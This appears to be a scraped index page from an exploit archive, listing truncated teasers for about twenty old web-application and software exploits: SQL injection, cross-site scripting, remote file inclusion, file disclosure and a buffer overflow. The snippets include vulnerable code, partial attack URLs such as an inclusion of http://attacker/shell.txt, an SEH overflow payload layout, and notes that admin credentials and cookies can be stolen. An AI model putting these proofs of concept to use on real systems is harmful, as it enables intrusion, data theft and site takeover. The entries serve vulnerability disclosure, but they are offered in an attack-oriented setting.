ULoki Community Forum 2.1 Cross Site Scripting

Exploit Title: ULoki Community Forum v2.1 usercp.php Cross Site Scripting Date: 10/02/2010 Author: Sioma Labs Software Link: http://www.uloki.com/download/ulokiforum06may2009.zip Version: v2.1 Tested on: Windows SP 2 / WAMP CVE : Code : / | | | | | \ | |/ | ' \ / | | | / | ' / | | | | | | | | |...

Killmonster 2.1 SQL Injection

Killmonster + Download : http://scripts.ringsworld.com/games-and-entertainment/km2/ + Vuln Code : login.php Type Username Here: Type Password Here: authenticate.php $isadmin=$POST'isadmin'; $password=$POST'password'; $password=md5$password; $query = "select from kmadmins where username='$isadmin'...

EncapsCMS 0.3.6 - 'config[path]' Remote File Inclusion

EncapsCMS + Download : http://scripts.ringsworld.com/content-management/encapscms-0.3.6/ + Vuln Code : commonfoot.php include$config'path'."idxfoot.html"; if$config"debug"0 echo ''; echo '$POST:';vardump$POST; + PoC : EncapsCMSpath/commonfoot.php?configpath=Shell...

Deepburner Pro version 1.9.0.228 dbr file universal buffer overflow exploit

No description provided by source. / Deepburner pro 1.9.0.228 dbr file buffer overflow exploituniversal This is buffer: header 253 bytes + junk+ next seh + seh addr + tail 957 bytes dbr/dbi file Date: 29.01.2010 Dicovery Credits: fl0 fl0w Exploit Credits : fl0 fl0w ?Download latest vuln vs from:...

Evernew Free Joke Script SQL Injection

/ Name : Evernew Free Joke Script viewjokes.php SQL Injection WebSite : www.evernewscripts.com Download : http://www.evernewscripts.com/free-php-scripts/jokescript1.2.zip Author : Hamza 'MizoZ' N. Email : [email protected] Greetz : Zuka , int0x80 , geeksec.com ... a loot / VULN CODE -- viewjokes.p...

Invision Power Board File Disclosure Exploit

! /usr/bin/env python3.1 validator.php | | | \ | | | | | | | | | | /| all | | ipbfd.py download...

LayoutCMS 1.0 SQL Injection / Cross Site Scripting

+===================================================================================+ ./SEC-R1Z / / / / /\ \ |/ / \ \ / / / / | | / | | / / \ / / / / | || / | | / / \ \ \ \2009 | \ | | / / / \ /\ / ||\ \ ||/ \ R.I.P MichaelJackson !!!!!...

Alex Guestbook - Multiple Vulnerabilities

============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | // \ || || // \ || || ============================================================================== » Note : Forever RevengeHack.Com-Ar-Ge.Org Acildi...

Alex Guestbook Multi Vulnerability

Exploit for unknown platform in category web applications ================================== Alex Guestbook Multi Vulnerability ================================== » Script: @lex Guestbook » Language: PHP » Download: http://scripti.org/scriptlex-guestbook61426.html === Exploit And Dork === »...

PHPCalendars - Multiple Vulnerabilities

============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | // \ || || // \ || || ============================================================================== » Note : Forever RevengeHack.Com-Ar-Ge.Org Acildi...

PHPCalendars - Multiple Vulnerabilities

PHPCalendars - Multiple Vulnerabilities ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | // \ || || // \ || || ============================================================================== » Note :...

SAMPLE Lord 1.0 Cross Site Scripting

+===================================================================================+ ./SEC-R1Z / / / / /\ \ |/ / \ \ / / / / | | / | | / / \ / / / / | || / | | / / \ \ \ \2009 | \ | | / / / \ /\ / ||\ \ ||/ \ R.I.P MichaelJackson !!!!!...

Joomla Component com_artistavenue Cross Site Scripting Vulnerability

No description provided by source. ------------------- header data start ------------------- Joomla Component comartistavenue Cross Site Scripting Vulnerability Author : Pyske Name : comartistavenue Home : www.cyber-warrior.org Greetz : Fl0riX , M-K-A and ALL Cyber-Warrior Bug Type : Cross Site...

Joomla JM-Recommend Cross Site Scripting

Joomla Component comjm-recommend Cross Site Scripting Vulnerabilities Author : Pyske Name : comjm-recommend Home : www.cyber-warrior.org Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R and ALL Cyber-Warrior Bug Type : Cross Site Scripting Infection : Yönetici ve User cookiekleri calinabilir. Bug Fix...

Joomla! Component com_qpersonel - Cross-Site Scripting

Joomla! Component comqpersonel - Cross-Site Scripting Joomla Component comqpersonel Cross Site Scripting Vulnerabilities Author : Pyske Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R ,BARCOD3 and ALL Cyber-Warrior Name : comqpersonel Bug Type : Cross Site Scripting Infection : Yönetici ve User...

Joomla Component com_jbook Blind SQL-injection

No description provided by source. Joomla Component comjbook Blind SQL-injection Vulnerability author : Fl0riX Greetz : BARCOD3 , Septemb0x, Deep-Power,DreamPower,Pyske,F0rtys3v3n,BlackApple Name : comjbook Bug Type : Blind SQL Injection Infection : Admin login bilgileri alnabilir. Demo Vuln. :...

Joomla Portfolio Blind SQL Injection

Joomla Component comjoomportfolio Blind SQL Injection Vulnerability author : Fl0riX Greetz : BARCOD3 , Septemb0x, Deep-Power,DreamPower,Pyske Name : comjoomportfolio Bug Type : Blind SQL Injection Infection : Admin login bilgileri alýnabilir. Demo Vuln. : TRUE+ »...

Ciamos CMS <= 0.9.5 (module_path) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Ciamos CMS PoC : http://server/modules/pms/index.php?modulepath=http://attacker/shell.txt??? 0day.today 2018-01-01...

html2ps - 'include file' Server-Side Include Directive Directory Traversal

!/usr/bin/env python html2ps the "include file" ssi directive doesn't check for directory traversal so you can include and disclose any file in the dir tree very handy when html2ps is running as a part of a web app with data that you control the vuln requires that "ssi" in the @html2ps block in t...

WX Guestbook 1.1.208 - SQL Injection Persistent Cross-Site Scripting

WX Guestbook 1.1.208 - SQL Injection Persistent Cross-Site Scripting WX Guest Book 1.1.208 Vulns By learn3r hacker from nepal [email protected] Product name: WX Guestbook 1.1.208 Product vendor: www.webilix.com This product suffers from multiple SQLi and persistent XSS vuln. SQL Search Vu...